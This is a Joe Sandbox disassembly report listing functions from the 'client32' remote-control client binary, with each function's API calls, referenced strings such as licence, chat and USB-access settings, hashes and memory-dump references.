API String ID: 476529905-1572471466
Opcode ID: d5ea3294f5018c1b5af9269d5e3c6f9db3afc0f870584c41fa064c38045f5e7d
Instruction ID: 7fe4dc2c9c8283dcb924a9d036735a693b6ae83b932d1ebb9d9659e593a33053
Opcode Fuzzy Hash: d5ea3294f5018c1b5af9269d5e3c6f9db3afc0f870584c41fa064c38045f5e7d
Instruction Fuzzy Hash: 68816BB5E0429B5FDB55CB74CC44BAEBBF5AF45308F1442E8D859EB281DA32E901CB50

Function 110B3520 Relevance: 23.0, APIs: 3, Strings: 10, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

EnterCriticalSection.KERNEL32(?,View,limitcolorbits,00000000,00000000,59FD48C0,111F00F8,111E5C98,?), ref: 110B3594
UnionRect.USER32(?,?,?), ref: 110B3642
LeaveCriticalSection.KERNEL32(?), ref: 110B37DD

Strings

ScrapeBandwidthPeriod, xrefs: 110B3721
ScrapeBusyDelay, xrefs: 110B36B4
Client, xrefs: 110B35EC, 110B369C, 110B36B9, 110B36D6, 110B36F3, 110B3726
ScrapeSkipDelay, xrefs: 110B3697
ScrapeBandwidth, xrefs: 110B36EE
ScrapeNotBusyDelay, xrefs: 110B36D1
limitcolorbits, xrefs: 110B3552, 110B35E7
d, xrefs: 110B357E
8, xrefs: 110B373A
View, xrefs: 110B355F

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveRectUnion__wcstoi64
String ID: 8$Client$ScrapeBandwidth$ScrapeBandwidthPeriod$ScrapeBusyDelay$ScrapeNotBusyDelay$ScrapeSkipDelay$View$d$limitcolorbits
API String ID: 3518726166-774679399
Opcode ID: 0507bcf6a5bfb235a752924e3a90bf095b586a4feb6a764fbd151a6487f36d15
Instruction ID: 5c973c881439576bbc97280a0c87cfab299b34d5c0027cf4f030de1918296fe0
Opcode Fuzzy Hash: 0507bcf6a5bfb235a752924e3a90bf095b586a4feb6a764fbd151a6487f36d15
Instruction Fuzzy Hash: E5911778E04219AFDB54CFA5C980BADFBF1FB48704F20816AE815AB380D735A941CF58

Function 11041790 Relevance: 22.7, APIs: 1, Strings: 14, Instructions: 181sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

Sleep.KERNEL32(000005DC,?,_License,Product,0000000A,00000000), ref: 110417DB

Part of subcall function 1105DE40: __itow.LIBCMT ref: 1105DE65

Strings

DisableReplayMenu, xrefs: 110418E8, 11041979
Product, xrefs: 110417B7, 11041849
Client, xrefs: 110418DB, 110418ED, 11041904, 1104191B, 11041932, 11041949, 11041966, 1104197E, 11041996, 110419AE, 110419C6, 110419DE
Reset JoinClass, ReplayMenu, RequestHelp, Journal and Audio, ts=%d, vui=%d, config %x, xrefs: 110418B8
Expired, xrefs: 11041818, 11041828
IsFree %d, was free %d, xrefs: 11041867
DisableRequestHelp, xrefs: 110418FF, 11041991
DisableJournal, xrefs: 11041916, 110419A9
DisableAudio, xrefs: 11041944, 110419D9
_License, xrefs: 110417BC, 1104181D, 1104182D, 1104184E
**** Reset expire flag, xrefs: 110419E8
DoNewLic received (VistaUI=%d), xrefs: 1104179D
DisableJournalMenu, xrefs: 1104192D, 110419BB
DisableJoinClass, xrefs: 110418D6, 11041961

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep__itow__wcstoi64
String ID: **** Reset expire flag$Client$DisableAudio$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DoNewLic received (VistaUI=%d)$Expired$IsFree %d, was free %d$Product$Reset JoinClass, ReplayMenu, RequestHelp, Journal and Audio, ts=%d, vui=%d, config %x$_License
API String ID: 4129630603-1903392697
Opcode ID: 5f6bc18adebceb937a44eededaee0be923c04fdf4a2cc5f9b1e78570ee760fdf
Instruction ID: c697aa05869d8dcbb06e6fa88acd42bec9afcae05c4931e8126933406671653c
Opcode Fuzzy Hash: 5f6bc18adebceb937a44eededaee0be923c04fdf4a2cc5f9b1e78570ee760fdf
Instruction Fuzzy Hash: 30515A39B8011A7BE751D696DC91FEEFB55AF90B4CFA48015F9293B2C1C7607A01C3A2

Function 1102310A Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 363windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1115ADD0: IsIconic.USER32(?), ref: 1115AE77
Part of subcall function 1115ADD0: ShowWindow.USER32(?,00000009), ref: 1115AE87
Part of subcall function 1115ADD0: BringWindowToTop.USER32(?), ref: 1115AE91

CheckMenuItem.USER32(00000000,000013EB,-00000009), ref: 1102324D
ShowWindow.USER32(?,00000003), ref: 110232D1
LoadMenuA.USER32(00000000,000013A3), ref: 110233FB
GetSubMenu.USER32(00000000,00000000), ref: 11023409
CheckMenuItem.USER32(00000000,000013EB,?), ref: 11023429
GetDlgItem.USER32(?,000013B2), ref: 1102343C
GetWindowRect.USER32(00000000), ref: 11023443
PostMessageA.USER32(?,00000111,?,00000000), ref: 11023499
DestroyMenu.USER32(?,?,00000000,00000000,00000102,?,?,?,00000000), ref: 110234A3

Strings

Chat, xrefs: 110233B0
AddToJournal, xrefs: 110233AB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Window$Item$CheckShow$BringDestroyIconicLoadMessagePostRect
String ID: AddToJournal$Chat
API String ID: 693070851-2976406578
Opcode ID: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction ID: 337dba7d0f02a97e7c7211def3ec221287211942730252afe18814347e7ecccc
Opcode Fuzzy Hash: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction Fuzzy Hash: 87A1F178B04616ABDB09DF74CC85FAEB3E5AB88704F504519EA26DF2C0CF74B9408B65

Function 11027270 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 136threadwindowsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11089280: UnhookWindowsHookEx.USER32(?), ref: 110892A3

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 110272B4

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000001F4), ref: 11027323
PostMessageA.USER32(000802A6,00000501,00000000,00000000), ref: 11027340
SetEvent.KERNEL32(0000029C), ref: 11027351
Sleep.KERNEL32(00000032), ref: 11027359
PostMessageA.USER32(000802A6,00000800,00000000,00000000), ref: 1102738E
GetCurrentThreadId.KERNEL32 ref: 110273BA
GetThreadDesktop.USER32(00000000), ref: 110273C1
SetThreadDesktop.USER32(00000000), ref: 110273CA
CloseDesktop.USER32(00000000), ref: 110273D5
CloseHandle.KERNEL32(000003FC), ref: 11027415

Part of subcall function 111100D0: GetCurrentThreadId.KERNEL32 ref: 11110166
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
Part of subcall function 111100D0: EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
Part of subcall function 111100D0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2

Strings

Async, xrefs: 11027298

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Thread$CriticalDesktopEventSection$CloseCreateCurrentInitializeMessagePost$EnterHandleHookMultipleObjectsSleepUnhookWaitWindows_malloc_memsetwsprintf
String ID: Async
API String ID: 3276504616-2933828738
Opcode ID: 7f34267c0eb402a5cecabe7481cb594ff7fa9432527a27f32e6b0a7f9cc990e4
Instruction ID: b4c20aaf8d895fc577ef80b9cbd2db14a62b6b62bbca8aebe14e383436c97cb7
Opcode Fuzzy Hash: 7f34267c0eb402a5cecabe7481cb594ff7fa9432527a27f32e6b0a7f9cc990e4
Instruction Fuzzy Hash: 2641A174A056159FEB05DFF8C886BAEB7A4FB54718F804138E925DB6C4EB70B800CB51

Function 11105340 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 84fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1110534D
EnterCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 11105356
GetTickCount.KERNEL32 ref: 1110535C
GetTickCount.KERNEL32 ref: 1110538E
LeaveCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 11105397
EnterCriticalSection.KERNEL32(?,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053B8
WriteFile.KERNEL32(00000000,1118C583,?,?,00000000,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF), ref: 111053D0
LeaveCriticalSection.KERNEL32(?,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053DD
GetTickCount.KERNEL32 ref: 111053EC
LeaveCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053F5

Strings

Warning. simap lock held for %d ms, xrefs: 111053A7, 11105405
Warning. took %d ms to get simap lock, xrefs: 11105368

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$FileWrite
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 831250470-625438208
Opcode ID: 7549535bd9f32612e90d0c37b89a6aa1a9d576740b26f55eee6ebfb36c9c683f
Instruction ID: 510883743b079e8f18b7a04972f4ca77f6f871929db96d85a9feff413df15827
Opcode Fuzzy Hash: 7549535bd9f32612e90d0c37b89a6aa1a9d576740b26f55eee6ebfb36c9c683f
Instruction Fuzzy Hash: F521F37AE10228ABDB009F759CC89AEFBADEB8972DB551075FC15CB204D6609C04CBA0

Function 1100D200 Relevance: 19.6, APIs: 1, Strings: 12, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1100D271

Strings

Exception, xrefs: 1100D258, 1100D266
StillInstances, xrefs: 1100D25F
AlreadyStarted, xrefs: 1100D235
Unknown error %d, xrefs: 1100D267
RequiresVista, xrefs: 1100D219
CannotLoadDll, xrefs: 1100D220
DllInitFailed, xrefs: 1100D227
NoCapClients, xrefs: 1100D243
BadParam, xrefs: 1100D251
CannotGetFunc, xrefs: 1100D22E
AlreadyStopped, xrefs: 1100D23C
NotFound, xrefs: 1100D24A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: AlreadyStarted$AlreadyStopped$BadParam$CannotGetFunc$CannotLoadDll$DllInitFailed$Exception$NoCapClients$NotFound$RequiresVista$StillInstances$Unknown error %d
API String ID: 2111968516-2092292787
Opcode ID: 68bb8bbd715fdcfb00972525606c57017de8997db1f0824372bcab7740fe05b1
Instruction ID: d9a7d6ebd96fccb3ef7d6a30ae0c52648c54e2eaa592bb8290d406d227b44d1e
Opcode Fuzzy Hash: 68bb8bbd715fdcfb00972525606c57017de8997db1f0824372bcab7740fe05b1
Instruction Fuzzy Hash: B7F0623269520C47BA8087EC784053EF78D739217D7C88093F4ACFAF20E916DCA0A1A9

Function 1103D900 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 146COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103D946
_memmove.LIBCMT ref: 1103D953

Strings

RESUMEPRINTINGPRINTER=*FILETYPES=, xrefs: 1103D9E2
IsA(), xrefs: 1103DA04
SETUSBMASSSTORAGEACCESS, xrefs: 1103D963
BLOCKPRINTING, xrefs: 1103D9BD
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103D9FF
SETOPTICALDRIVEACCESS, xrefs: 1103D994
SETUSBMASSSTORAGEACCESSACCESSMODES=%u, xrefs: 1103D986
BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1, xrefs: 1103D9DB
SETOPTICALDRIVEACCESSACCESSMODES=%u, xrefs: 1103D9AF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID: BLOCKPRINTING$BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1$IsA()$RESUMEPRINTINGPRINTER=*FILETYPES=$SETOPTICALDRIVEACCESS$SETOPTICALDRIVEACCESSACCESSMODES=%u$SETUSBMASSSTORAGEACCESS$SETUSBMASSSTORAGEACCESSACCESSMODES=%u$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 1183979061-1830555902
Opcode ID: d4857ee76d8c1cc660dc759cc083975ead6eda15deae3702bc20d4af1b2e1f25
Instruction ID: 30908e59175280b9c57392d60f9ec8946edd900dc556d0c581b30970aad7595d
Opcode Fuzzy Hash: d4857ee76d8c1cc660dc759cc083975ead6eda15deae3702bc20d4af1b2e1f25
Instruction Fuzzy Hash: C641D67990031A9FCB01CFA4CC80FEEB7B9EF85258F044169E856A7640EA35F909C7A0

Function 11103590 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 137libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,59FD48C0), ref: 11103683
GetProcAddress.KERNEL32(00000000,SetThreadExecutionState), ref: 111036C7
FreeLibrary.KERNEL32(00000000), ref: 11103704

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetLastError.KERNEL32(00000078), ref: 111036DB

Strings

*DisableHighPerfPower, xrefs: 111035FA
Prevent Power Save (new count=%d,%d), same state=x%x, xrefs: 11103721
Client, xrefs: 111035CB, 111035FF
*DisablePreventPowerSave, xrefs: 111035C6
Kernel32.dll, xrefs: 11103678
SetThreadExecutionState, xrefs: 111036BE
Prevent Power Save (new count=%d,%d, newstate=x%x), prevstate=x%x, xrefs: 111036F2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressErrorFreeLastLoadProc__wcstoi64
String ID: *DisableHighPerfPower$*DisablePreventPowerSave$Client$Kernel32.dll$Prevent Power Save (new count=%d,%d), same state=x%x$Prevent Power Save (new count=%d,%d, newstate=x%x), prevstate=x%x$SetThreadExecutionState
API String ID: 338032539-196928431
Opcode ID: feae159db528dffda90684d517b825e3f9fab515b4a0bbcf643c119d50c48f6c
Instruction ID: ef519489baa259d01bcb28758cb3490bfea909c894c6be1ca2e5c40dbc525e6f
Opcode Fuzzy Hash: feae159db528dffda90684d517b825e3f9fab515b4a0bbcf643c119d50c48f6c
Instruction Fuzzy Hash: B8418CB5D0465AAFEB00DF9ACDD0AAEFBB5FB48358F51803EE425A3200D7301904CB61

Function 11029450 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 97windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?), ref: 1102946C

Part of subcall function 11143DE0: GetTickCount.KERNEL32 ref: 11143E48

wsprintfA.USER32 ref: 110294B7
MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
ExitProcess.KERNEL32 ref: 11029509
_strrchr.LIBCMT ref: 11029545
ExitProcess.KERNEL32 ref: 11029584

Strings

Info. assert, restarting..., xrefs: 1102956D
V12.10F8, xrefs: 110294A3
Assert. File %hs, line %d, err %d, Expr %s, xrefs: 11029486
Client32, xrefs: 110294E5
Assert failed, file %hs, line %d, error code %dBuild: %hsExpression: %s, xrefs: 110294B1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$CountErrorLastMessageTick_strrchrwsprintf
String ID: Assert failed, file %hs, line %d, error code %dBuild: %hsExpression: %s$Assert. File %hs, line %d, err %d, Expr %s$Client32$Info. assert, restarting...$V12.10F8
API String ID: 2763122592-3574328345
